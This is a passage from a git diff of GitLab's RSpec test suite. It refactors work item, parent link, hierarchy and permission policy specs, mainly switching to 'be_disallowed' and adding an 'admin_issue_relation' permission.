+ it 'deletes all records for namespace' do
+ create_list(:namespace_commit_email, 3, namespace: group)
+ create(:namespace_commit_email)
+
+ expect { described_class.delete_for_namespace(group) }.to change { described_class.count }.by(-3)
+ end
+ end
end
diff --git a/spec/models/work_item_spec.rb b/spec/models/work_item_spec.rb
index 1c34936c5c2..0bedcc9791f 100644
--- a/spec/models/work_item_spec.rb
+++ b/spec/models/work_item_spec.rb
@@ -21,6 +21,13 @@ RSpec.describe WorkItem, feature_category: :portfolio_management do
.with_foreign_key('work_item_id')
end
+ it 'has many `work_item_children_by_created_at`' do
+ is_expected.to have_many(:work_item_children_by_created_at)
+ .order(created_at: :asc)
+ .class_name('WorkItem')
+ .with_foreign_key('work_item_id')
+ end
+
it 'has many `child_links`' do
is_expected.to have_many(:child_links)
.class_name('::WorkItems::ParentLink')
diff --git a/spec/models/work_items/parent_link_spec.rb b/spec/models/work_items/parent_link_spec.rb
index 82e79e8fbdf..f1aa81f46d2 100644
--- a/spec/models/work_items/parent_link_spec.rb
+++ b/spec/models/work_items/parent_link_spec.rb
@@ -218,4 +218,16 @@ RSpec.describe WorkItems::ParentLink, feature_category: :portfolio_management do
end
end
end
+
+ context 'with relative positioning' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:work_item_parent) { create(:work_item, project: project) }
+
+ it_behaves_like "a class that supports relative positioning" do
+ let(:factory) { :parent_link }
+ let(:default_params) { { work_item_parent: work_item_parent } }
+ let(:items_with_nil_position_sample_quantity) { 90 }
+ end
+ end
end
diff --git a/spec/models/work_items/widgets/hierarchy_spec.rb b/spec/models/work_items/widgets/hierarchy_spec.rb
index c847f2694fe..43670b30645 100644
--- a/spec/models/work_items/widgets/hierarchy_spec.rb
+++ b/spec/models/work_items/widgets/hierarchy_spec.rb
@@ -2,11 +2,11 @@
require 'spec_helper'
-RSpec.describe WorkItems::Widgets::Hierarchy do
+RSpec.describe WorkItems::Widgets::Hierarchy, feature_category: :team_planning do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, group: group) }
let_it_be(:task) { create(:work_item, :task, project: project) }
- let_it_be(:work_item_parent) { create(:work_item, project: project) }
+ let_it_be_with_reload(:work_item_parent) { create(:work_item, project: project) }
describe '.type' do
subject { described_class.type }
@@ -21,7 +21,7 @@ RSpec.describe WorkItems::Widgets::Hierarchy do
end
describe '#parent' do
- let_it_be(:parent_link) { create(:parent_link, work_item: task, work_item_parent: work_item_parent).reload }
+ let_it_be_with_reload(:parent_link) { create(:parent_link, work_item: task, work_item_parent: work_item_parent) }
subject { described_class.new(parent_link.work_item).parent }
@@ -29,11 +29,21 @@ RSpec.describe WorkItems::Widgets::Hierarchy do
end
describe '#children' do
- let_it_be(:parent_link1) { create(:parent_link, work_item_parent: work_item_parent, work_item: task).reload }
- let_it_be(:parent_link2) { create(:parent_link, work_item_parent: work_item_parent).reload }
+ let_it_be_with_reload(:parent_link1) { create(:parent_link, work_item_parent: work_item_parent, work_item: task) }
+ let_it_be_with_reload(:parent_link2) { create(:parent_link, work_item_parent: work_item_parent) }
subject { described_class.new(work_item_parent).children }
it { is_expected.to contain_exactly(parent_link1.work_item, parent_link2.work_item) }
+
+ context 'with default order by created_at' do
+ let_it_be(:oldest_child) { create(:work_item, :task, project: project, created_at: 5.minutes.ago) }
+
+ let_it_be_with_reload(:link_to_oldest_child) do
+ create(:parent_link, work_item_parent: work_item_parent, work_item: oldest_child)
+ end
+
+ it { is_expected.to eq([link_to_oldest_child, parent_link1, parent_link2].map(&:work_item)) }
+ end
end
end
diff --git a/spec/policies/concerns/archived_abilities_spec.rb b/spec/policies/concerns/archived_abilities_spec.rb
index 8e3fd8a209f..d4d0498b0a3 100644
--- a/spec/policies/concerns/archived_abilities_spec.rb
+++ b/spec/policies/concerns/archived_abilities_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe ArchivedAbilities, feature_category: :projects do
end
describe '.archived_abilities' do
- it 'returns an array of abilites to be prevented when archived' do
+ it 'returns an array of abilities to be prevented when archived' do
expect(TestClass.archived_abilities).to include(*described_class::ARCHIVED_ABILITIES)
end
end
diff --git a/spec/policies/global_policy_spec.rb b/spec/policies/global_policy_spec.rb
index 4a8855f1da7..1538f8a70c8 100644
--- a/spec/policies/global_policy_spec.rb
+++ b/spec/policies/global_policy_spec.rb
@@ -2,15 +2,15 @@
require 'spec_helper'
-RSpec.describe GlobalPolicy do
+RSpec.describe GlobalPolicy, feature_category: :security_policies do
include TermsHelper
+ let_it_be(:admin_user) { create(:admin) }
let_it_be(:project_bot) { create(:user, :project_bot) }
let_it_be(:migration_bot) { create(:user, :migration_bot) }
let_it_be(:security_bot) { create(:user, :security_bot) }
-
- let(:current_user) { create(:user) }
- let(:user) { create(:user) }
+ let_it_be_with_reload(:current_user) { create(:user) }
+ let_it_be(:user) { create(:user) }
subject { described_class.new(current_user, [user]) }
@@ -27,7 +27,7 @@ RSpec.describe GlobalPolicy do
stub_application_setting(restricted_visibility_levels: [Gitlab::VisibilityLevel::PUBLIC])
end
- it { is_expected.not_to be_allowed(:read_users_list) }
+ it { is_expected.to be_disallowed(:read_users_list) }
end
context "when the public level is not restricted" do
@@ -40,7 +40,7 @@ RSpec.describe GlobalPolicy do
end
context "for an admin" do
- let_it_be(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
context "when the public level is restricted" do
before do
@@ -93,7 +93,7 @@ RSpec.describe GlobalPolicy do
context 'when user does not have the ability to create group' do
let(:current_user) { create(:user, can_create_group: false) }
- it { is_expected.not_to be_allowed(:create_group) }
+ it { is_expected.to be_disallowed(:create_group) }
end
end
@@ -107,18 +107,18 @@ RSpec.describe GlobalPolicy do
context 'when user does not have the ability to create group' do
let(:current_user) { create(:user, can_create_group: false) }
- it { is_expected.not_to be_allowed(:create_group_with_default_branch_protection) }
+ it { is_expected.to be_disallowed(:create_group_with_default_branch_protection) }
end
end
describe 'custom attributes' do
context 'regular user' do
- it { is_expected.not_to be_allowed(:read_custom_attribute) }
- it { is_expected.not_to be_allowed(:update_custom_attribute) }
+ it { is_expected.to be_disallowed(:read_custom_attribute) }
+ it { is_expected.to be_disallowed(:update_custom_attribute) }
end
context 'admin' do
- let_it_be(:current_user) { create(:user, :admin) }
+ let(:current_user) { admin_user }
context 'when admin mode is enabled', :enable_admin_mode do
it { is_expected.to be_allowed(:read_custom_attribute) }
@@ -134,11 +134,11 @@ RSpec.describe GlobalPolicy do
describe 'approving users' do
context 'regular user' do
- it { is_expected.not_to be_allowed(:approve_user) }
+ it { is_expected.to be_disallowed(:approve_user) }
end
context 'admin' do
- let_it_be(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
context 'when admin mode is enabled', :enable_admin_mode do
it { is_expected.to be_allowed(:approve_user) }
@@ -152,11 +152,11 @@ RSpec.describe GlobalPolicy do
describe 'rejecting users' do
context 'regular user' do
- it { is_expected.not_to be_allowed(:reject_user) }
+ it { is_expected.to be_disallowed(:reject_user) }
end
context 'admin' do
- let_it_be(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
context 'when admin mode is enabled', :enable_admin_mode do
it { is_expected.to be_allowed(:reject_user) }
@@ -170,11 +170,11 @@ RSpec.describe GlobalPolicy do
describe 'using project statistics filters' do
context 'regular user' do
- it { is_expected.not_to be_allowed(:use_project_statistics_filters) }
+ it { is_expected.to be_disallowed(:use_project_statistics_filters) }
end
context 'admin' do
- let_it_be(:current_user) { create(:user, :admin) }
+ let(:current_user) { admin_user }
context 'when admin mode is enabled', :enable_admin_mode do
it { is_expected.to be_allowed(:use_project_statistics_filters) }
@@ -187,7 +187,7 @@ RSpec.describe GlobalPolicy do
end
shared_examples 'access allowed when terms accepted' do |ability|
- it { is_expected.not_to be_allowed(ability) }
+ it { is_expected.to be_disallowed(ability) }
it "allows #{ability} when the user accepted the terms" do
accept_terms(current_user)
@@ -202,7 +202,7 @@ RSpec.describe GlobalPolicy do
end
context 'admin' do
- let(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
it { is_expected.to be_allowed(:access_api) }
end
@@ -222,13 +222,13 @@ RSpec.describe GlobalPolicy do
context 'migration bot' do
let(:current_user) { migration_bot }
- it { is_expected.not_to be_allowed(:access_api) }
+ it { is_expected.to be_disallowed(:access_api) }
end
context 'security bot' do
let(:current_user) { security_bot }
- it { is_expected.not_to be_allowed(:access_api) }
+ it { is_expected.to be_disallowed(:access_api) }
end
context 'user blocked pending approval' do
@@ -236,7 +236,7 @@ RSpec.describe GlobalPolicy do
current_user.block_pending_approval
end
- it { is_expected.not_to be_allowed(:access_api) }
+ it { is_expected.to be_disallowed(:access_api) }
end
context 'with a deactivated user' do
@@ -244,7 +244,7 @@ RSpec.describe GlobalPolicy do
current_user.deactivate!
end
- it { is_expected.not_to be_allowed(:access_api) }
+ it { is_expected.to be_disallowed(:access_api) }
end
context 'user with expired password' do
@@ -252,7 +252,7 @@ RSpec.describe GlobalPolicy do
current_user.update!(password_expires_at: 2.minutes.ago)
end
- it { is_expected.not_to be_allowed(:access_api) }
+ it { is_expected.to be_disallowed(:access_api) }
context 'when user is using ldap' do
let(:current_user) { create(:omniauth_user, provider: 'ldap', password_expires_at: 2.minutes.ago) }
@@ -271,7 +271,7 @@ RSpec.describe GlobalPolicy do
end
context 'admin' do
- let(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
it_behaves_like 'access allowed when terms accepted', :access_api
end
@@ -301,7 +301,7 @@ RSpec.describe GlobalPolicy do
allow(User).to receive(:allow_unconfirmed_access_for).and_return(2.days)
end
- it { is_expected.not_to be_allowed(:access_api) }
+ it { is_expected.to be_disallowed(:access_api) }
end
end
end
@@ -312,7 +312,7 @@ RSpec.describe GlobalPolicy do
end
describe 'admin' do
- let(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
it { is_expected.to be_allowed(:receive_notifications) }
end
@@ -320,7 +320,7 @@ RSpec.describe GlobalPolicy do
describe 'anonymous' do
let(:current_user) { nil }
- it { is_expected.not_to be_allowed(:receive_notifications) }
+ it { is_expected.to be_disallowed(:receive_notifications) }
end
describe 'blocked user' do
@@ -328,7 +328,7 @@ RSpec.describe GlobalPolicy do
current_user.block
end
- it { is_expected.not_to be_allowed(:receive_notifications) }
+ it { is_expected.to be_disallowed(:receive_notifications) }
end
describe 'deactivated user' do
@@ -336,19 +336,19 @@ RSpec.describe GlobalPolicy do
current_user.deactivate
end
- it { is_expected.not_to be_allowed(:receive_notifications) }
+ it { is_expected.to be_disallowed(:receive_notifications) }
end
context 'project bot' do
let(:current_user) { project_bot }
- it { is_expected.not_to be_allowed(:receive_notifications) }
+ it { is_expected.to be_disallowed(:receive_notifications) }
end
context 'migration bot' do
let(:current_user) { migration_bot }
- it { is_expected.not_to be_allowed(:receive_notifications) }
+ it { is_expected.to be_disallowed(:receive_notifications) }
end
context 'user blocked pending approval' do
@@ -356,7 +356,7 @@ RSpec.describe GlobalPolicy do
current_user.block_pending_approval
end
- it { is_expected.not_to be_allowed(:receive_notifications) }
+ it { is_expected.to be_disallowed(:receive_notifications) }
end
end
@@ -366,7 +366,7 @@ RSpec.describe GlobalPolicy do
end
describe 'admin' do
- let(:current_user) { create(:admin) }
+ let(:current_user) { admin_user }
it { is_expected.to be_allowed(:access_git) }
end
@@ -394,7 +394,7 @@ RSpec.describe GlobalPolicy do
current_user.deactivate
end
- it { is_expected.not_to be_allowed(:access_git) }
+ it { is_expected.to be_disallowed(:access_git) }
end
describe 'inactive user' do
@@ -402,7 +402,7 @@ RSpec.describe GlobalPolicy do
current_user.update!(confirmed_at: nil)
end
- it { is_expected.not_to be_allowed(:access_git) }
+ it { is_expected.to be_disallowed(:access_git) }
end
context 'when terms are enforced' do
@@ -438,7 +438,7 @@ RSpec.describe GlobalPolicy do
current_user.block_pending_approval
end
- it { is_expected.not_to be_allowed(:access_git) }
+ it { is_expected.to be_disallowed(:access_git) }
end
context 'user with expired password' do
@@ -446,7 +446,7 @@ RSpec.describe GlobalPolicy do
current_user.update!(password_expires_at: 2.minutes.ago)
end
- it { is_expected.not_to be_allowed(:access_git) }
+ it { is_expected.to be_disallowed(:access_git) }
context 'when user is using ldap' do
let(:current_user) { create(:omniauth_user, provider: 'ldap', password_expires_at: 2.minutes.ago) }
@@ -464,7 +464,7 @@ RSpec.describe GlobalPolicy do
context 'anonymous' do
let(:current_user) { nil }
- it { is_expected.not_to be_allowed(:read_instance_metadata) }
+ it { is_expected.to be_disallowed(:read_instance_metadata) }
end
end
@@ -476,7 +476,7 @@ RSpec.describe GlobalPolicy do
context 'when internal' do
let(:current_user) { User.ghost }
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
context 'when blocked' do
@@ -484,7 +484,7 @@ RSpec.describe GlobalPolicy do
current_user.block
end
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
context 'when deactivated' do
@@ -492,7 +492,7 @@ RSpec.describe GlobalPolicy do
current_user.deactivate
end
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
describe 'inactive user' do
@@ -500,7 +500,7 @@ RSpec.describe GlobalPolicy do
current_user.update!(confirmed_at: nil)
end
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
context 'when access locked' do
@@ -508,7 +508,7 @@ RSpec.describe GlobalPolicy do
current_user.lock_access!
end
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
context 'project bot' do
@@ -520,7 +520,7 @@ RSpec.describe GlobalPolicy do
context 'migration bot' do
let(:current_user) { migration_bot }
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
context 'user blocked pending approval' do
@@ -528,7 +528,7 @@ RSpec.describe GlobalPolicy do
current_user.block_pending_approval
end
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
end
context 'user with expired password' do
@@ -536,7 +536,7 @@ RSpec.describe GlobalPolicy do
current_user.update!(password_expires_at: 2.minutes.ago)
end
- it { is_expected.not_to be_allowed(:use_slash_commands) }
+ it { is_expected.to be_disallowed(:use_slash_commands) }
context 'when user is using ldap' do
let(:current_user) { create(:omniauth_user, provider: 'ldap', password_expires_at: 2.minutes.ago) }
@@ -550,7 +550,7 @@ RSpec.describe GlobalPolicy do
context 'when anonymous' do
let(:current_user) { nil }
- it { is_expected.not_to be_allowed(:create_snippet) }
+ it { is_expected.to be_disallowed(:create_snippet) }
end
context 'regular user' do
@@ -560,7 +560,7 @@ RSpec.describe GlobalPolicy do
context 'when external' do
let(:current_user) { build(:user, :external) }
- it { is_expected.not_to be_allowed(:create_snippet) }
+ it { is_expected.to be_disallowed(:create_snippet) }
end
end
@@ -568,19 +568,19 @@ RSpec.describe GlobalPolicy do
context 'project bot' do
let(:current_user) { project_bot }
- it { is_expected.not_to be_allowed(:log_in) }
+ it { is_expected.to be_disallowed(:log_in) }
end
context 'migration bot' do
let(:current_user) { migration_bot }
- it { is_expected.not_to be_allowed(:log_in) }
+ it { is_expected.to be_disallowed(:log_in) }
end
context 'security bot' do
let(:current_user) { security_bot }
- it { is_expected.not_to be_allowed(:log_in) }
+ it { is_expected.to be_disallowed(:log_in) }
end
context 'user blocked pending approval' do
@@ -588,7 +588,7 @@ RSpec.describe GlobalPolicy do
current_user.block_pending_approval
end
- it { is_expected.not_to be_allowed(:log_in) }
+ it { is_expected.to be_disallowed(:log_in) }
end
end
end
diff --git a/spec/policies/group_policy_spec.rb b/spec/policies/group_policy_spec.rb
index 65abb43b6c4..2d4c86845c9 100644
--- a/spec/policies/group_policy_spec.rb
+++ b/spec/policies/group_policy_spec.rb
@@ -157,7 +157,7 @@ RSpec.describe GroupPolicy do
let(:current_user) { maintainer }
context 'with subgroup_creation level set to maintainer' do
- before_all do
+ before do
group.update!(subgroup_creation_level: ::Gitlab::Access::MAINTAINER_SUBGROUP_ACCESS)
end
@@ -550,7 +550,7 @@ RSpec.describe GroupPolicy do
context 'create_projects' do
context 'when group has no project creation level set' do
- before_all do
+ before do
group.update!(project_creation_level: nil)
end
@@ -580,7 +580,7 @@ RSpec.describe GroupPolicy do
end
context 'when group has project creation level set to no one' do
- before_all do
+ before do
group.update!(project_creation_level: ::Gitlab::Access::NO_ONE_PROJECT_ACCESS)
end
@@ -610,7 +610,7 @@ RSpec.describe GroupPolicy do
end
context 'when group has project creation level set to maintainer only' do
- before_all do
+ before do
group.update!(project_creation_level: ::Gitlab::Access::MAINTAINER_PROJECT_ACCESS)
end
@@ -640,7 +640,7 @@ RSpec.describe GroupPolicy do
end
context 'when group has project creation level set to developers + maintainer' do
- before_all do
+ before do
group.update!(project_creation_level: ::Gitlab::Access::DEVELOPER_MAINTAINER_PROJECT_ACCESS)
end
@@ -672,7 +672,7 @@ RSpec.describe GroupPolicy do
context 'create_subgroup' do
context 'when group has subgroup creation level set to owner' do
- before_all do
+ before do
group.update!(subgroup_creation_level: ::Gitlab::Access::OWNER_SUBGROUP_ACCESS)
end
@@ -702,7 +702,7 @@ RSpec.describe GroupPolicy do
end
context 'when group has subgroup creation level set to maintainer' do
- before_all do
+ before do
group.update!(subgroup_creation_level: ::Gitlab::Access::MAINTAINER_SUBGROUP_ACCESS)
end
@@ -1073,7 +1073,7 @@ RSpec.describe GroupPolicy do
it_behaves_like 'Self-managed Core resource access tokens'
context 'support bot' do
- let_it_be(:group) { create(:group, :private, :crm_enabled) }
+ let_it_be_with_refind(:group) { create(:group, :private, :crm_enabled) }
let_it_be(:current_user) { User.support_bot }
before do
@@ -1351,9 +1351,8 @@ RSpec.describe GroupPolicy do
context 'when crm_enabled is false' do
let(:current_user) { owner }
- before_all do
- group.crm_settings.enabled = false
- group.crm_settings.save!
+ before do
+ group.crm_settings.update!(enabled: false)
end
it { is_expected.to be_disallowed(:read_crm_contact) }
diff --git a/spec/policies/issue_policy_spec.rb b/spec/policies/issue_policy_spec.rb
index 905ef591b53..0040d9dff7e 100644
--- a/spec/policies/issue_policy_spec.rb
+++ b/spec/policies/issue_policy_spec.rb
@@ -87,49 +87,49 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
end
it 'allows guests to read issues' do
- expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid)
- expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :mark_note_as_confidential)
+ expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
+ expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :mark_note_as_internal)
- expect(permissions(guest, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
+ expect(permissions(guest, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
expect(permissions(guest, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
expect(permissions(guest, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
end
it 'allows reporters to read, update, admin and create confidential notes' do
- expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :mark_note_as_confidential)
+ expect(permissions(reporter, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :mark_note_as_internal, :admin_issue_relation)
end
it 'allows reporters from group links to read, update, and admin issues' do
- expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter_from_group_link, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter_from_group_link, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter_from_group_link, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows issue authors to read and update their issues' do
- expect(permissions(author, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(author, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(author, issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(author, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
+ expect(permissions(author, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
expect(permissions(author, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(author, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(author, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows issue assignees to read and update their issues' do
- expect(permissions(assignee, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(assignee, issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(assignee, issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
expect(permissions(assignee, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
expect(permissions(assignee, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(assignee, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(assignee, new_issue)).to be_allowed(:create_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'does not allow non-members to read, update or create issues' do
- expect(permissions(non_member, issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(non_member, issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(non_member, issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(non_member, issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
expect(permissions(non_member, new_issue)).to be_disallowed(:create_issue, :set_issue_metadata, :set_confidentiality)
end
@@ -142,50 +142,50 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
let(:confidential_issue_no_assignee) { create(:issue, :confidential, project: project) }
it 'does not allow non-members to read confidential issues' do
- expect(permissions(non_member, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(non_member, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(non_member, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :admin_issue_relation)
+ expect(permissions(non_member, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'does not allow guests to read confidential issues' do
- expect(permissions(guest, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
- expect(permissions(guest, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(guest, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :admin_issue_relation)
+ expect(permissions(guest, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows reporters to read, update, and admin confidential issues' do
- expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows reporters from group links to read, update, and admin confidential issues' do
- expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(reporter_from_group_link, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
+ expect(permissions(reporter_from_group_link, confidential_issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows issue authors to read and update their confidential issues' do
- expect(permissions(author, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
+ expect(permissions(author, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue_relation)
expect(permissions(author, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue)
+ expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :admin_issue_relation)
expect(permissions(author, confidential_issue_no_assignee)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
end
it 'does not allow issue author to read or update confidential issue moved to an private project' do
confidential_issue.project = create(:project, :private)
- expect(permissions(author, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(author, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'allows issue assignees to read and update their confidential issues' do
expect(permissions(assignee, confidential_issue)).to be_allowed(:read_issue, :read_issue_iid, :update_issue)
expect(permissions(assignee, confidential_issue)).to be_disallowed(:admin_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(assignee, confidential_issue_no_assignee)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :admin_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
it 'does not allow issue assignees to read or update confidential issue moved to an private project' do
confidential_issue.project = create(:project, :private)
- expect(permissions(assignee, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(assignee, confidential_issue)).to be_disallowed(:read_issue, :read_issue_iid, :update_issue, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
end
end
end
@@ -210,61 +210,61 @@ RSpec.describe IssuePolicy, feature_category: :team_planning do
it 'does not allow anonymous user to create todos' do
expect(permissions(nil, issue)).to be_allowed(:read_issue)
- expect(permissions(nil, issue)).to be_disallowed(:create_todo, :update_subscription, :set_issue_metadata, :set_confidentiality)
+ expect(permissions(nil, issue)).to be_disallowed(:create_todo, :update_subscription, :set_issue_metadata, :set_confidentiality, :admin_issue_relation)
expect(permissions(nil, new_issue)).to be_disallowed(:create_issue, :set_issue_metadata, :set_confidentiality)
end
it 'allows guests to read issues' do
- expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid, :create_todo, :update_subscription)
+ expect(permissions(guest, issue)).to be_allowed(:read_issue, :read_issue_iid, :create_todo, :update_subscription, :admin_issue_relation)
expect(permissions(guest, issue)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(guest, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid)
+ expect(permissions(guest, issue_no_assignee)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
expect(permissions(guest, issue_no_assignee)).to be_disallowed(:update_issue, :admin_issue, :reopen_issue, :set_issue_metadata, :set_confidentiality)
- expect(permissions(guest, issue_locked)).to be_allowed(:read_issue, :read_issue_iid)
+ expect(permissions(guest, issue_locked)).to be_allowed(:read_issue, :read_issue_iid, :admin_issue_relation)
